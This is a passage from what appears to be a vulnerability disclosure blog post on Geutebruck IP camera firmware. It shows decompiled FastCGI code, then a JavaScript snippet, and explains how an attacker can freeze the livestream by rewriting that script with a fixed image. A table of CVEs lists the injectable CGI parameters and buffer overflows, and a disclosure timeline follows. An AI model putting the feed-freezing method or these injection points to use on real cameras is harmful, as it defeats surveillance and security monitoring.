          iVar1 = FCGI_Accept(); // try to accept a request
          if (iVar1 < 0) goto LAB_00008d3c; // if it fails then it quit the program
        }
        printHead("text/html");
        errorPrint("GetSnapshot error2");
        goto LAB_00008c54;
      }
LAB_00008d3c:
      STATUS_delete(g_statusHandle,1); 
      UHL_streamCleanUp();
      iVar1 = 0;
    }
  }
}

Going back to the JavaScript part within the web browser, a pushImage() function is defined in order to get a frame from a FastCGI endpoint and push it to the browser page very fast in an infite loop to make it looks like a video. Its code is as follows:

function pushImage() {
  loadImage = function() {
    if(snapshot_play === false) {
      return;
    }
    $("#snapshotArea").attr("src", ImageBuf.src);
    $("#snapshotArea").show();
    var tobj = new Date();
    
    ImageBuf.src = snapshot_url + "?_=" + tobj.getTime();
    delete tobj;
  }
  var ImageBuf = new Image();
  $(ImageBuf).load(loadImage);
  $(ImageBuf).error(function() {
    delete ImageBuf;
    setTimeout(pushImage, 1000);
  });
  
  ImageBuf.src = snapshot_url; //[1]
}

Collecting all parts together, freezing the camera livestream display is straighforward and can be done by overwriting the JavaScript file content and modify the highlighted line [1] with a hardcoded image path which can be either a random image taken by the camera at the time of the attack or uploaded by the attacker.

The execution proof of concept of the Metasploit script is demonstrated in the figure below: Metasploit post exploitation module

Metasploit modules

Metasploit modules have been merged into Metasploit:

CVEs

CGI Short description CVE
N/A Authentication Bypass CVE-2021-33543
certmngr.cgi Command injection multiple parameters CVE-2021-33544
countreport.cgi Stack Buffer Overflow CVE-2021-33545
encprofile.cgi Stack Buffer Overflow CVE-2021-33546
evnprofile.cgi Stack Buffer Overflow CVE-2021-33547
factory.cgi Command injection in preserve parameter CVE-2021-33548
instantrec.cgi Stack Buffer Overflow CVE-2021-33549
language.cgi Command injection in date parameter CVE-2021-33550
oem.cgi Command injection in environment.lang parameter CVE-2021-33551
simple_reclistjs.cgi Command injection in date parameter CVE-2021-33552
testcmd.cgi Command injection in command parameter CVE-2021-33553
tmpapp.cgi Command injection in appfile.filename parameter CVE-2021-33554

Timeline

  • 25/02/2021: mail with reports (4 new 0day vulnerabilities impacting Geutebruck IP cameras with the 1.12.0.27 firmware) to Geutebruck, ICS-CERT
  • 26/02/2021: ack by Geutebruck
  • 26/02/2021: mail with additionnal report (BoF) to Geutebruck, ICS-CERT
  • 12/03/2021: follow-up mail to Geutebruck, ICS-CERT
  • 15/03/2021: ack by Geutebruck
  • 02/04/2021: mail with full reports (4 BoF, 7 cmd inj, 1 auth bypass) to Geutebruck, ICS-CERT
  • 06/04/2021: ack by Geutebruck
  • 20/05/2021: no news from ICS-CERT so -> mail to CERT@VDE
  • 20/05/2021: ack by CERT@VDE
  • 21/05/2021: mail with full reports to CERT@VDE
  • 25/05/2021: ack by CERT@VDE
  • 26/05/2021: ack by Geutebruck “UDP told us they will produce a new firmware”
  • 28/05/2021: ack by Geutebruck “the engineer who has the responsibility on vulnerabilities of IPN so far is now on maternity leave now (…) I suspect that the deployment of the firmware will still take some time.” <- seriously ?
  • 28/05/2021: follow-up mail to Geutebruck, CERT@VDE: full disclo the 02/07
  • 30/06/2021: mail by Geutebruck with the new firmware !
  • 30/06/2021: mail to Geutebruck, CERT@VDE: we postpone the full disclo, we want to check first if the new firmware corrects the vulnerabilities
  • 05/07/2021: mail to Geutebruck, CERT@VDE: new fimware corrects the vulnerabilities !
  • 08/07/2021: publication of this blogpost
  • 01/09/2021: Exploit module merged into Metasploit (exploits CVE-2021-33554, CVE-2021-33544, CVE-2021-33548, and CVE-2021-33550 to 33554)
  • 03/09/2021: Post exploitation module merged into Metasploit
  • 16/09/2021: Exploit module merged into Metasploit (exploits CVE-2021-33549)

References

  1. ELF: Executable and Linkable Format - Wikipedia
  2. MTD: General MTD Documentation - Memory Technology Devices
  3. Working with MTD Devices: Working with MTD Devices - OpenSource ForU
  4. Persistence in Linux-Based IoT Malware: Persistence in Linux-Based IoT Malware - Calvin Brierley, Jamie Pont, Budy Aried, David J. Barnes, and Julia Hernandez-Castro
  5. JFFS2: JFFS2: The jounalling Flash File System, version 2 - Sourceware, David Woodhouse
  6. jefferson: jefferson : JFFS2 filesystem extraction tool - sviehb
  7. popen: popen(3) - Linux manual page
  8. system: system(3) - Linux manual page
  9. exec: exec(3) — Linux manual page
  10. phrack: Smashing the Stack For Fun And Profit - Phrack Magazine
  11. exploit-db: Stack based buffer overflow Exploitation-Tutorial
  12. SSP: Buffer Overflows - Wikipedia
  13. NX: NX bit - Wikipedia
  14. ASLR: Address Space Layout Randomization - Wikipedia
  15. ROP: The Geometry of Innocent Flesh on the Bone:Return-into-libc without Function Calls (on the x86) - Hovav Shacham